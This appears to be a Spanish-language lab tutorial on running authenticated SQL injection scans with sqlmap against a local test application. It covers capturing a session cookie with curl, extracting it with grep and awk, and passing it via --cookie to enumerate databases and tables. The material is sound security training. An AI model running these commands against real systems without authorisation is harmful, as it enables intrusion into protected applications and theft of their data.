Gestionar escaneos autenticados usando cookies en sqlmap

Kali LinuxBeginner
Practicar Ahora

Introducción

En las pruebas de penetración de aplicaciones web, existen muchas vulnerabilidades en áreas que requieren autenticación de usuario. Herramientas como sqlmap, una potente herramienta de código abierto para pruebas de penetración que automatiza el proceso de detección y explotación de fallos de inyección SQL, necesitan una forma de acceder a estas secciones protegidas. Este laboratorio te guiará a través del proceso de realización de escaneos autenticados utilizando cookies de sesión con sqlmap. Aprenderás a extraer cookies de sesión de un navegador y luego a utilizarlas para instruir a sqlmap a mantener una sesión autenticada mientras escanea. Esta técnica es crucial para evaluaciones de seguridad exhaustivas de aplicaciones web modernas.

Iniciar sesión en una aplicación web objetivo

En este paso, simularás el inicio de sesión en una aplicación web objetivo. Para este laboratorio, asumiremos que hay una aplicación web ejecutándose localmente que requiere autenticación. Utilizarás curl para simular una solicitud de inicio de sesión y obtener una cookie de sesión. En un escenario del mundo real, normalmente iniciarías sesión a través de un navegador web.

Primero, simulemos un inicio de sesión exitoso en una aplicación hipotética. Usaremos curl para enviar una solicitud POST con credenciales ficticias. La respuesta del servidor incluirá una cabecera Set-Cookie si el inicio de sesión es exitoso.

curl -c cookiejar.txt -X POST -d "username=admin&password=password" http://localhost:8080/login

La opción -c cookiejar.txt indica a curl que escriba cualquier cookie recibida en un archivo llamado cookiejar.txt. Después de ejecutar este comando, se debería crear un archivo llamado cookiejar.txt en tu directorio actual (~/project).

Ahora, veamos el contenido del archivo cookiejar.txt para ver la cookie de sesión.

cat cookiejar.txt

Deberías ver una salida similar a esta, que contiene la información de la cookie de sesión:

## Netscape HTTP Cookie File
## http://curl.haxx.se/docs/cookiejar.html
## This file was generated by curl! Edit at your own risk.

localhost	FALSE	/	FALSE	0	PHPSESSID	a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6

La parte importante aquí es el valor de PHPSESSID (por ejemplo, a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6). Esta es tu cookie de sesión.

En este paso, aprenderás a extraer manualmente la cadena de la cookie de sesión. Si bien curl la guardó automáticamente en cookiejar.txt en el paso anterior, comprender cómo extraerla manualmente es crucial para escenarios del mundo real donde podrías iniciar sesión a través de un navegador web.

Desde el archivo cookiejar.txt, necesitas identificar la cadena de cookie real. En nuestro ejemplo, es PHPSESSID=a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6.

Puedes usar grep y awk para extraer solo el valor de la cookie del archivo cookiejar.txt.

grep "PHPSESSID" cookiejar.txt | awk '{print $6"="$7}'

Este comando solo mostrará la cadena de la cookie, por ejemplo:

PHPSESSID=a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6

Esta es la cadena que proporcionarás a sqlmap usando la opción --cookie. Copia esta cadena, ya que la necesitarás en el siguiente paso.

Ahora que has extraído la cookie de sesión, puedes usarla con sqlmap para realizar un escaneo autenticado. La opción --cookie en sqlmap te permite especificar el valor de la cabecera HTTP de la cookie.

Para este laboratorio, asumiremos que existe una página vulnerable en http://localhost:8080/authenticated_page.php?id=1. Esta página requiere que la cookie PHPSESSID esté presente para acceder.

Reemplaza YOUR_COOKIE_STRING con la cadena de cookie real que extrajiste en el paso anterior (por ejemplo, PHPSESSID=a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6).

sqlmap -u "http://localhost:8080/authenticated_page.php?id=1" --cookie="YOUR_COOKIE_STRING" --batch --forms --level=1 --risk=1

Analicemos el comando sqlmap:

  • -u "http://localhost:8080/authenticated_page.php?id=1": Especifica la URL objetivo.
  • --cookie="YOUR_COOKIE_STRING": Proporciona la cookie de sesión a sqlmap. Esta es la parte crucial para los escaneos autenticados.
  • --batch: Ejecuta sqlmap en modo no interactivo, aceptando las opciones predeterminadas.
  • --forms: Indica a sqlmap que analice y pruebe los formularios en la URL objetivo.
  • --level=1 --risk=1: Establece el nivel de detección y el riesgo. Para una prueba rápida, el nivel 1 y el riesgo 1 son suficientes.

Ejecuta el comando. sqlmap comenzará a escanear la URL especificada, utilizando la cookie proporcionada para mantener la sesión autenticada.

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |___|
        |_|___|
    sqlmap/1.6.12#stable (identifying back-end DBMS)
[!] legal disclaimer: sqlmap is provided 'as is', without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose and noninfringement. in no event shall the authors or copyright holders be liable for any claim, damages or other liability, whether in an action of contract, tort or otherwise, arising from, out of or in connection with the software or the use or other dealings in the software.

[!] you are running an outdated version of sqlmap. The '1.6.12#stable' is the latest stable version
[!] to disable this notification set 'allow_update_check' option to 'False' in your sqlmap configuration file (sqlmap.conf)

[00:00:00] [INFO] starting @00:00:00

... (sqlmap output will vary based on target and findings) ...

[00:00:XX] [INFO] fetched data: 'id=1'
[00:00:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.x, Apache 2.4.x
back-end DBMS: MySQL >= 5.0.0
[00:00:XX] [INFO] closing @00:00:XX

La salida mostrará el progreso de sqlmap y cualquier hallazgo. Si el escaneo procede sin errores relacionados con la autenticación, indica que sqlmap utilizó la cookie con éxito.

Ejecutar un escaneo contra una página que requiere autenticación

En este paso, refinaremos nuestro comando sqlmap para apuntar específicamente a una página que se sabe que requiere autenticación y que podría ser vulnerable. Utilizaremos una salida ligeramente más detallada para observar el comportamiento de sqlmap.

Asumamos que authenticated_page.php es efectivamente vulnerable a inyección SQL a través del parámetro id. Utilizaremos la opción --dbs para intentar enumerar las bases de datos, lo cual es un primer paso común en la explotación de inyección SQL.

Nuevamente, reemplaza YOUR_COOKIE_STRING con tu cookie de sesión real.

sqlmap -u "http://localhost:8080/authenticated_page.php?id=1" --cookie="YOUR_COOKIE_STRING" --dbs --batch --forms --level=1 --risk=1

La opción --dbs intenta enumerar los nombres de las bases de datos. Si sqlmap utiliza la cookie con éxito, debería poder acceder a la página y proceder con la enumeración de bases de datos.

Observa la salida. Si sqlmap informa que encontró bases de datos (por ejemplo, information_schema, mysql, testdb), confirma que el escaneo autenticado fue exitoso. Si informa "no se encontraron parámetros inyectables" o "página no accesible", podría indicar un problema con la cookie o la URL de destino.

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |___|
        |_|___|
    sqlmap/1.6.12#stable (identifying back-end DBMS)

... (initial checks) ...

[00:00:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.x, Apache 2.4.x
back-end DBMS: MySQL >= 5.0.0
[00:00:XX] [INFO] fetching database names
[00:00:XX] [INFO] retrieved database names: ['information_schema', 'mysql', 'performance_schema', 'sys', 'testdb']
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] testdb

[00:00:XX] [INFO] closing @00:00:XX

La presencia de nombres de bases de datos en la salida confirma que sqlmap pudo acceder a la página autenticada y realizar la prueba de inyección.

Confirmar que el escaneo se ejecuta como un usuario autenticado

En este paso final, confirmaremos que sqlmap está operando efectivamente como un usuario autenticado observando su comportamiento y posibles hallazgos. Un indicador clave es si sqlmap puede acceder y probar parámetros en páginas que solo son visibles después de iniciar sesión.

Si sqlmap enumeró bases de datos con éxito en el paso anterior, es una fuerte confirmación. Para solidificar esto aún más, puedes intentar extraer datos de una de las bases de datos descubiertas, por ejemplo, testdb.

Reemplaza YOUR_COOKIE_STRING con tu cookie de sesión real.

sqlmap -u "http://localhost:8080/authenticated_page.php?id=1" --cookie="YOUR_COOKIE_STRING" -D testdb --tables --batch --forms --level=1 --risk=1

Aquí, -D testdb especifica la base de datos de destino, y --tables intenta enumerar las tablas dentro de esa base de datos. Si sqlmap puede listar tablas de testdb, demuestra de manera concluyente que está operando dentro del contexto autenticado.

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |___|
        |_|___|
    sqlmap/1.6.12#stable (identifying back-end DBMS)

... (initial checks) ...

[00:00:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.x, Apache 2.4.x
back-end DBMS: MySQL >= 5.0.0
[00:00:XX] [INFO] fetching tables for database 'testdb'
[00:00:XX] [INFO] retrieved table names for database 'testdb': ['users', 'products']
Database: testdb
[2 tables]
+----------+
| products |
| users    |
+----------+

[00:00:XX] [INFO] closing @00:00:XX

La salida que muestra los nombres de las tablas (por ejemplo, users, products) bajo la base de datos testdb confirma que sqlmap mantuvo con éxito la sesión autenticada y pudo realizar una enumeración más profunda dentro del área protegida de la aplicación. Esto demuestra la efectividad del uso de cookies para escaneos autenticados.

Resumen

En este laboratorio, has aprendido con éxito a realizar escaneos autenticados utilizando sqlmap aprovechando las cookies de sesión. Comenzaste simulando un inicio de sesión en una aplicación web y extrayendo la cookie de sesión. Luego, utilizaste la opción --cookie en sqlmap para proporcionar esta cookie, lo que permitió a la herramienta acceder y escanear páginas que requieren autenticación. Finalmente, confirmaste el éxito del escaneo autenticado observando la capacidad de sqlmap para enumerar bases de datos y tablas dentro del área protegida de la aplicación. Esta habilidad es fundamental para realizar evaluaciones de seguridad completas de aplicaciones web modernas donde gran parte de la funcionalidad reside detrás de un inicio de sesión.